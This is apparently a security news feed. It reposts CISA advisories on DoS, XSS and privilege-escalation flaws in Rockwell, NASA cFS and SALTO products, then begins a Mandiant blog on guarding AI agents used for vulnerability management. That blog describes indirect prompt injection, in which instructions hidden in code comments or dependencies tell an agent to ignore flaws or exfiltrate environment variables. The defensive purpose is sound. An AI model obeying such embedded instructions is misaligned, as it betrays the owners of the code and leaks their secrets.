    Rockwell Automation CompactLogix 5370: <=V35.015, Rockwell Automation Compact GuardLogix 5370: <=V35.015, Rockwell Automation ControlLogix 5570: <=V35.015, Rockwell Automation GuardLogix 5570: <=V35.015, Rockwell Automation CompactLogix 5380: <=V34.012, Rockwell Automation CompactLogix 5380: <=V35.011, Rockwell Automation Compact GuardLogix 5380: <=V34.012, Rockwell Automation Compact GuardLogix 5380: <=V35.011, Rockwell Automation CompactLogix 5480: <=V34.012, Rockwell Automation CompactLogix 5480: <=V35.011, Rockwell Automation ControlLogix 5580: <=V34.012, Rockwell Automation ControlLogix 5580: <=V35.011, Rockwell Automation GuardLogix 5580: <=V34.012, Rockwell Automation GuardLogix 5580: <=V35.011, Rockwell Automation CompactLogix 5380 Recovery Image: <=1.072, Rockwell Automation Compact GuardLogix 5380 Recovery Image: <=1.072, Rockwell Automation CompactLogix 5480 Recovery Image: <=1.072, Rockwell Automation ControlLogix 5580 Recovery Image: <=1.072, Rockwell Automation GuardLogix 5580 Recovery Image: <=1.072
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Rockwell Automation recommend updating to the following: CompactLogix 5370: Update to V35.016, V36.011 and later

    Vendor fix
    Compact GuardLogix 5370: Update to V35.016, V36.011 and later

    Vendor fix
    ControlLogix 5570: Update to V35.016, V36.011 and later

    Vendor fix
    GuardLogix 5570: Update to V35.016, V36.011 and later

    Vendor fix
    CompactLogix 5380: Update to V34.014, V35.013, V36.011 and later

    Vendor fix
    Compact GuardLogix 5380: Update to V34.014, V35.013, V36.011 and later

    Vendor fix
    CompactLogix 5480: Update to V34.014, V35.013, V36.011 and later

    Vendor fix
    ControlLogix 5580: Update to V34.014, V35.013, V36.011 and later

    Vendor fix
    GuardLogix 5580: Update to V34.014, V35.013, V36.011 and later

    Vendor fix
    CompactLogix 5380 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed

    Vendor fix
    Compact GuardLogix 5380 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed

    Vendor fix
    CompactLogix 5480 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed

    Vendor fix
    ControlLogix 5580 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed

    Vendor fix
    GuardLogix 5580 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed

    Relevant CWE: CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 8.6 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
    4.0 9.2 CRITICAL CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H

    CVE-2025-12012

    A denial-of-service issue exists in 5380/5480/5580 controllers. This vulnerability could potentially allow a malicious user to write invalid file data to the controller, causing the device to enter a major nonrecoverable fault (MNRF).

    View CVE Details

    Affected Products

    Rockwell Automation CompactLogix, ControlLogix, Compact GuardLogix and GuardLogix
    Vendor:
    Rockwell Automation
    Product Version:
    Rockwell Automation CompactLogix 5370: <=V35.015, Rockwell Automation Compact GuardLogix 5370: <=V35.015, Rockwell Automation ControlLogix 5570: <=V35.015, Rockwell Automation GuardLogix 5570: <=V35.015, Rockwell Automation CompactLogix 5380: <=V34.012, Rockwell Automation CompactLogix 5380: <=V35.011, Rockwell Automation Compact GuardLogix 5380: <=V34.012, Rockwell Automation Compact GuardLogix 5380: <=V35.011, Rockwell Automation CompactLogix 5480: <=V34.012, Rockwell Automation CompactLogix 5480: <=V35.011, Rockwell Automation ControlLogix 5580: <=V34.012, Rockwell Automation ControlLogix 5580: <=V35.011, Rockwell Automation GuardLogix 5580: <=V34.012, Rockwell Automation GuardLogix 5580: <=V35.011, Rockwell Automation CompactLogix 5380 Recovery Image: <=1.072, Rockwell Automation Compact GuardLogix 5380 Recovery Image: <=1.072, Rockwell Automation CompactLogix 5480 Recovery Image: <=1.072, Rockwell Automation ControlLogix 5580 Recovery Image: <=1.072, Rockwell Automation GuardLogix 5580 Recovery Image: <=1.072
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Rockwell Automation recommend updating to the following: CompactLogix 5370: Update to V35.016, V36.011 and later

    Vendor fix
    Compact GuardLogix 5370: Update to V35.016, V36.011 and later

    Vendor fix
    ControlLogix 5570: Update to V35.016, V36.011 and later

    Vendor fix
    GuardLogix 5570: Update to V35.016, V36.011 and later

    Vendor fix
    CompactLogix 5380: Update to V34.014, V35.013, V36.011 and later

    Vendor fix
    Compact GuardLogix 5380: Update to V34.014, V35.013, V36.011 and later

    Vendor fix
    CompactLogix 5480: Update to V34.014, V35.013, V36.011 and later

    Vendor fix
    ControlLogix 5580: Update to V34.014, V35.013, V36.011 and later

    Vendor fix
    GuardLogix 5580: Update to V34.014, V35.013, V36.011 and later

    Vendor fix
    CompactLogix 5380 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed

    Vendor fix
    Compact GuardLogix 5380 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed

    Vendor fix
    CompactLogix 5480 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed

    Vendor fix
    ControlLogix 5580 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed

    Vendor fix
    GuardLogix 5580 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed

    Relevant CWE: CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 8.6 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
    4.0 9.2 CRITICAL CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H

    CVE-2025-11698

    A denial-of-service issue exists in 5380/5480/5580 controllers boot firmware lower than version 1.072. This vulnerability could potentially allow a malicious user to write invalid file data to the controller, causing the device to enter a major non-recoverable fault (MNRF).

    View CVE Details

    Affected Products

    Rockwell Automation CompactLogix, ControlLogix, Compact GuardLogix and GuardLogix
    Vendor:
    Rockwell Automation
    Product Version:
    Rockwell Automation CompactLogix 5370: <=V35.015, Rockwell Automation Compact GuardLogix 5370: <=V35.015, Rockwell Automation ControlLogix 5570: <=V35.015, Rockwell Automation GuardLogix 5570: <=V35.015, Rockwell Automation CompactLogix 5380: <=V34.012, Rockwell Automation CompactLogix 5380: <=V35.011, Rockwell Automation Compact GuardLogix 5380: <=V34.012, Rockwell Automation Compact GuardLogix 5380: <=V35.011, Rockwell Automation CompactLogix 5480: <=V34.012, Rockwell Automation CompactLogix 5480: <=V35.011, Rockwell Automation ControlLogix 5580: <=V34.012, Rockwell Automation ControlLogix 5580: <=V35.011, Rockwell Automation GuardLogix 5580: <=V34.012, Rockwell Automation GuardLogix 5580: <=V35.011, Rockwell Automation CompactLogix 5380 Recovery Image: <=1.072, Rockwell Automation Compact GuardLogix 5380 Recovery Image: <=1.072, Rockwell Automation CompactLogix 5480 Recovery Image: <=1.072, Rockwell Automation ControlLogix 5580 Recovery Image: <=1.072, Rockwell Automation GuardLogix 5580 Recovery Image: <=1.072
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Rockwell Automation recommend updating to the following: CompactLogix 5370: Update to V35.016, V36.011 and later

    Vendor fix
    Compact GuardLogix 5370: Update to V35.016, V36.011 and later

    Vendor fix
    ControlLogix 5570: Update to V35.016, V36.011 and later

    Vendor fix
    GuardLogix 5570: Update to V35.016, V36.011 and later

    Vendor fix
    CompactLogix 5380: Update to V34.014, V35.013, V36.011 and later

    Vendor fix
    Compact GuardLogix 5380: Update to V34.014, V35.013, V36.011 and later

    Vendor fix
    CompactLogix 5480: Update to V34.014, V35.013, V36.011 and later

    Vendor fix
    ControlLogix 5580: Update to V34.014, V35.013, V36.011 and later

    Vendor fix
    GuardLogix 5580: Update to V34.014, V35.013, V36.011 and later

    Vendor fix
    CompactLogix 5380 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed

    Vendor fix
    Compact GuardLogix 5380 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed

    Vendor fix
    CompactLogix 5480 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed

    Vendor fix
    ControlLogix 5580 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed

    Vendor fix
    GuardLogix 5580 Recovery Image: Update to boot firmware 1.072 or greater. If using V36.013, V37.011 or later, already has corrected boot firmware is installed

    Relevant CWE: CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 8.6 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
    4.0 9.2 CRITICAL CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H

    Acknowledgments

    • Rockwell Automation reported these vulnerabilities to CISA

    Legal Notice and Terms of Use

    This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

    Recommended Practices

    CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities.

    Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.

    Locate control system networks and remote devices behind firewalls and isolating them from business networks.

    When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.

    CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

    CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

    CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

    Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

    Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

    CISA also recommends users take the following measures to protect themselves from social engineering attacks:

    Do not click web links or open attachments in unsolicited email messages.

    Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.

    Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.

    No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.

    Revision History

    • Initial Release Date: 2026-07-16
    Date Revision Summary
    2026-07-16 1 Initial Publication

    Legal Notice and Terms of Use

    ]]>         <![CDATA[Rockwell Automation 1756-EN2, 1756-EN3, and 1756-ENBT]]> https://tsecurity.de/de/3674155/it-security-nachrichten/rockwell-automation-1756-en2-1756-en3-and-1756-enbt/ https://tsecurity.de/de/3674155/it-security-nachrichten/rockwell-automation-1756-en2-1756-en3-and-1756-enbt/ Thu, 16 Jul 2026 18:41:58 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

    Summary

    Successful exploitation of this vulnerability could allow an attacker to cause a denial-of-service condition.

    The following versions of Rockwell Automation 1756-EN2, 1756-EN3, and 1756-ENBT are affected:

    • 1756-EN3 <=V12.001 (CVE-2026-9653)
    • 1756-EN2 <=V12.001 (CVE-2026-9653)
    • 1756-ENBT V6.006 (CVE-2026-9653)
    CVSS Vendor Equipment Vulnerabilities
    v3 7.5 Rockwell Automation Rockwell Automation 1756-EN2, 1756-EN3, and 1756-ENBT Improper Validation of Integrity Check Value

    Background

    • Critical Infrastructure Sectors: Critical Manufacturing
    • Countries/Areas Deployed: Worldwide
    • Company Headquarters Location: United States

    Vulnerabilities

    Expand All +

    CVE-2026-9653

    A denial-of-service security issue exists across all the 1756-EN2, EN3, and ENBT communication module due to improper validation of CIP Implicit Connection packets. An attacker on the network can exploit this by sending crafted packets to continuously disrupt device connections, though device connections will recover immediately after.

    View CVE Details

    Affected Products

    Rockwell Automation 1756-EN2, 1756-EN3, and 1756-ENBT
    Vendor:
    Rockwell Automation
    Product Version:
    Rockwell Automation 1756-EN3: <=V12.001, Rockwell Automation 1756-EN2: <=V12.001, Rockwell Automation 1756-ENBT: V6.006
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Rockwell Automation recommends users take the following actions: 1756-EN3: Update to V12.002

    Vendor fix
    1756-EN2: Update to V12.002

    Vendor fix
    1756-ENBT: Product is discontinued, fix is unavailable

    Relevant CWE: CWE-354 Improper Validation of Integrity Check Value

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7.5 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    4.0 8.7 HIGH CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

    Acknowledgments

    • Tyler Lentz of Idaho National Laboratory reported this vulnerability to CISA

    Legal Notice and Terms of Use

    This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

    Recommended Practices

    CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.

    Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.

    Locate control system networks and remote devices behind firewalls and isolating them from business networks.

    When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.

    CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

    CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

    CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

    Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

    Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

    CISA also recommends users take the following measures to protect themselves from social engineering attacks:

    Do not click web links or open attachments in unsolicited email messages.

    Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.

    Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.

    No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.

    Revision History

    • Initial Release Date: 2026-07-16
    Date Revision Summary
    2026-07-16 1 Initial Publication

    Legal Notice and Terms of Use

    ]]>         <![CDATA[NASA Core Flight System (cFS) Health & Safety (HS) Application]]> https://tsecurity.de/de/3674154/it-security-nachrichten/nasa-core-flight-system-cfs-health-safety-hs-application/ https://tsecurity.de/de/3674154/it-security-nachrichten/nasa-core-flight-system-cfs-health-safety-hs-application/ Thu, 16 Jul 2026 18:41:57 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

    Summary

    Successful exploitation of this vulnerability could allow an attacker to cause a denial-of-service condition.

    The following versions of NASA Core Flight System (cFS) Health & Safety (HS) Application are affected:

    • Core Flight System (cFS) Health & Safety (HS) Application
    CVSS Vendor Equipment Vulnerabilities
    v3 7.5 NASA NASA Core Flight System (cFS) Health & Safety (HS) Application NULL Pointer Dereference

    Background

    • Critical Infrastructure Sectors: Transportation Systems
    • Countries/Areas Deployed: Worldwide
    • Company Headquarters Location: United States

    Vulnerabilities

    Expand All +

    CVE-2026-15352

    A vulnerability exists in the Health & Safety (HS) application of NASA's Core Flight System (cFS). The flaw allows the application to crash via segmentation fault when processing a routine Housekeeping Telemetry request, leading to denial of service.

    View CVE Details

    Affected Products

    NASA Core Flight System (cFS) Health & Safety (HS) Application
    Vendor:
    NASA
    Product Version:
    NASA Core Flight System (cFS) Health & Safety (HS) Application: <v7.0.1
    Product Status:
    known_affected
    Remediations

    Mitigation
    NASA recommends users update to v7.0.1 (https://github.com/nasa/HS/releases/tag/v7.0.1)
    https://github.com/nasa/HS/releases/tag/v7.0.1

    Relevant CWE: CWE-476 NULL Pointer Dereference

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7.5 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    4.0 8.2 HIGH CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

    Acknowledgments

    • Grady DeRosa reported this vulnerability to CISA

    Legal Notice and Terms of Use

    This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

    Recommended Practices

    CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.

    Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.

    Locate control system networks and remote devices behind firewalls and isolating them from business networks.

    When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.

    CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

    CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

    CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

    Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

    Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

    CISA also recommends users take the following measures to protect themselves from social engineering attacks:

    Do not click web links or open attachments in unsolicited email messages.

    Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.

    Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.

    No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.

    Revision History

    • Initial Release Date: 2026-07-16
    Date Revision Summary
    2026-07-16 1 Initial Publication

    Legal Notice and Terms of Use

    ]]>         <![CDATA[Rockwell Automation FactoryTalk DataMosaix]]> https://tsecurity.de/de/3674153/it-security-nachrichten/rockwell-automation-factorytalk-datamosaix/ https://tsecurity.de/de/3674153/it-security-nachrichten/rockwell-automation-factorytalk-datamosaix/ Thu, 16 Jul 2026 18:41:55 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

    Summary

    Successful exploitation of this vulnerability could allow an authenticated attacker to inject malicious scripts on the server.

    The following versions of Rockwell Automation FactoryTalk DataMosaix are affected:

    • DataMosaix Private Cloud <=8.02 (CVE-2026-9292)
    CVSS Vendor Equipment Vulnerabilities
    v3 6.1 Rockwell Automation Rockwell Automation FactoryTalk DataMosaix Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

    Background

    • Critical Infrastructure Sectors: Critical Manufacturing, Information Technology
    • Countries/Areas Deployed: Worldwide
    • Company Headquarters Location: United States

    Vulnerabilities

    Expand All +

    CVE-2026-9292

    A Stored Cross-Site Scripting security issue exists within FactoryTalk DataMosaix Private Cloud. The vulnerability stems from improper neutralization of user-supplied input within the Workflows configuration. An authenticated attacker with high privileges can inject malicious scripts that are permanently stored on the server. This vulnerability can result in the execution of malicious JavaScript when other users access the affected page, potentially allowing for account takeover, credential theft, or redirection to a malicious website.

    View CVE Details

    Affected Products

    Rockwell Automation FactoryTalk DataMosaix
    Vendor:
    Rockwell Automation
    Product Version:
    Rockwell Automation DataMosaix Private Cloud: <=8.02
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Rockwell Automation recommends users to upgrade to the following: DataMosaix Private Cloud versions 8.03 or later.

    Mitigation
    Customers using the affected software, who are not able to upgrade to one of the corrected versions, should use Rockwell Automation's security best practices (https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight).
    https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight

    Mitigation
    For more information, see Rockwell Automation Security Advisory SD1787 (https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1787.html).
    https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1787.html

    Relevant CWE: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 6.1 MEDIUM CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N
    4.0 8.4 HIGH CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

    Acknowledgments

    • Rockwell Automation reported this vulnerability to CISA

    Legal Notice and Terms of Use

    This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

    Recommended Practices

    CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.

    Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.

    Locate control system networks and remote devices behind firewalls and isolating them from business networks.

    When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.

    CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

    CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

    CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

    Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

    Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

    CISA also recommends users take the following measures to protect themselves from social engineering attacks:

    Do not click web links or open attachments in unsolicited email messages.

    Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.

    Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.

    No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.

    Revision History

    • Initial Release Date: 2026-07-16
    Date Revision Summary
    2026-07-16 1 Initial Republication of Rockwell Automation Security Advisory SD1787

    Legal Notice and Terms of Use

    ]]>         <![CDATA[SALTO ProAccess Space]]> https://tsecurity.de/de/3674152/it-security-nachrichten/salto-proaccess-space/ https://tsecurity.de/de/3674152/it-security-nachrichten/salto-proaccess-space/ Thu, 16 Jul 2026 18:41:54 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

    Summary

    Successful exploitation of this vulnerability allows an authenticated attacker to escalate privileges and access spaces outside their assigned partition, within the same Salto ProAccess Space installation or system. Exploitation requires valid authenticated operator credentials and the partition feature to be enabled; installations without partitioning are not affected.

    The following versions of SALTO ProAccess Space are affected:

    • ProAccess Space <6.13 (CVE-2026-11889)
    CVSS Vendor Equipment Vulnerabilities
    v3 6.5 SALTO SALTO ProAccess Space Authorization Bypass Through User-Controlled Key

    Background

    • Critical Infrastructure Sectors: Commercial Facilities, Critical Manufacturing
    • Countries/Areas Deployed: Worldwide
    • Company Headquarters Location: Spain

    Vulnerabilities

    Expand All +

    CVE-2026-11889

    SALTO ProAccess Space software using the tenancy feature / logical partition is vulnerable to a privilege escalation attack that could allow an authorized attacker to access any space managed by the affected product.

    View CVE Details

    Affected Products

    SALTO ProAccess Space
    Vendor:
    SALTO
    Product Version:
    SALTO ProAccess Space: <6.13
    Product Status:
    known_affected
    Remediations

    Mitigation
    Users of SALTO ProAccess using the tenancy feature should upgrade to version 6.13.

    Vendor fix
    To further enhance security after applying the update: 1. Operate ProAccess Space on a protected internal network and avoid exposing it directly to the Internet. 2. Restrict operator-level accounts to the minimum required and apply least-privilege principles. 3. If feasible, disable the partitioning feature and operate under a single partition. 4. When strong tenant separation is required, consider running separate Space instances (isolated environments) rather than relying solely on logical partitioning.

    Relevant CWE: CWE-639 Authorization Bypass Through User-Controlled Key

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 6.5 MEDIUM CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
    4.0 7.1 HIGH CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

    Acknowledgments

    • Bernhard Lorenz of Limes Security reported this vulnerability to CISA

    Legal Notice and Terms of Use

    This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

    Recommended Practices

    CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.

    Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.

    Locate control system networks and remote devices behind firewalls and isolating them from business networks.

    When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.

    CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

    CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

    CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

    Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

    Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

    No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.

    Revision History

    • Initial Release Date: 2026-07-16
    Date Revision Summary
    2026-07-16 1 Initial Publication

    Legal Notice and Terms of Use

    ]]>         <![CDATA[Google Renames NotebookLM to Gemini Notebook]]> https://tsecurity.de/de/3674103/it-nachrichten/google-renames-notebooklm-to-gemini-notebook/ https://tsecurity.de/de/3674103/it-nachrichten/google-renames-notebooklm-to-gemini-notebook/ Thu, 16 Jul 2026 18:34:28 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[H1 2026 Cyber Attacks Statistics]]> https://tsecurity.de/de/3673951/it-security-nachrichten/h1-2026-cyber-attacks-statistics/ https://tsecurity.de/de/3673951/it-security-nachrichten/h1-2026-cyber-attacks-statistics/ Thu, 16 Jul 2026 17:23:43 +0200 📰 IT Security Nachrichten tsecurity.de In H1 I recorded 1,071 confirmed cyber incidents. Financially motivated Cyber Crime drove nearly 7 in 10 attacks, malware remained the top weapon (40.5% of attack-vector entries), and exploitation of public-facing applications was the leading initial access technique (23.7%). Cyber


    Read more →

    The post H1 2026 Cyber Attacks Statistics appeared first on IT Security News.

    ]]>         <![CDATA[Demystifying AI Exploits: A Blueprint for AI-Assisted Vulnerability Management]]> https://tsecurity.de/de/3673775/it-security-nachrichten/demystifying-ai-exploits-a-blueprint-for-ai-assisted-vulnerability-management/ https://tsecurity.de/de/3673775/it-security-nachrichten/demystifying-ai-exploits-a-blueprint-for-ai-assisted-vulnerability-management/ Thu, 16 Jul 2026 16:23:24 +0200 📰 IT Security Nachrichten tsecurity.de

    Written by: Jules Czarniak

    Introduction 

    As highlighted in the Mandiant M-Trends 2026 report, the mean time-to-exploit (TTE) has dropped to -7 days, meaning vulnerabilities are often exploited a week before a patch even exists. 

    To keep pace, many security teams are exploring how to integrate large language model (LLM) agents into their codebases, development environments and continuous integration and continuous delivery (CI/CD) pipelines for automated vulnerability discovery and remediation. However, deploying privileged artificial intelligence (AI) agents without mature integration processes introduces new architectural risks. 

    In response to customer inquiries about how to safely integrate AI capabilities into vulnerability management workflows, this blog provides actionable guidance from Mandiant Consulting about how to establish operational guardrails for AI assisted vulnerability management, including several detailed scenarios. What each of these examples show is that security teams can accelerate workflows with AI while also upholding the structural integrity of their environments. We suggest that combining AI capabilities with deterministic controls and human intelligence in strategic ways maximizes benefits and reduces risk. 

    Establish Operational Guardrails to Safely Deploy AI Agents

    To safely adopt advanced AI capabilities without introducing unpredictable failures into deployment pipelines, organizations should ground their approach in established industry standards. While guidelines like the NIST AI Risk Management Framework (RMF) and the OWASP Top 10 for LLMs provide comprehensive baselines for identifying risks, operationalizing these controls requires a structural blueprint.

    Frameworks like Google’s Secure AI Framework (SAIF) and Google’s approach to secure AI Agents provide a practical path forward, demanding that organizations extend existing deterministic controls directly into the AI execution environment. When deploying AI agents, security teams should navigate specific operational and structural risks:

    • Pre-agent data security and Defense-in-Depth: Agents should not be able to access personally identifiable information (PII), protected health information (PHI), or other sensitive data. Organizations should enforce data security before the prompt reaches the model. This includes strictly using non-production environments populated with synthetic data for testing. For production, security teams should deploy a hybrid defense-in-depth model. This includes Layer 1 deterministic policy engines acting as chokepoints, alongside Layer 2 reasoning-based defenses like specialized guard models (such as Model Armor or similar provider-agnostic guardrails) to filter out sensitive data and block malicious prompt injections before they reach the agent layer. Crucially for vulnerability discovery, security teams should treat the codebase itself as an untrusted input. Threat actors can embed indirect prompt injections within source code comments or third-party dependencies (e.g., hidden instructions telling the agent to ignore vulnerabilities or exfiltrate environment variables), making input sanitation a requirement even for internal scanning.

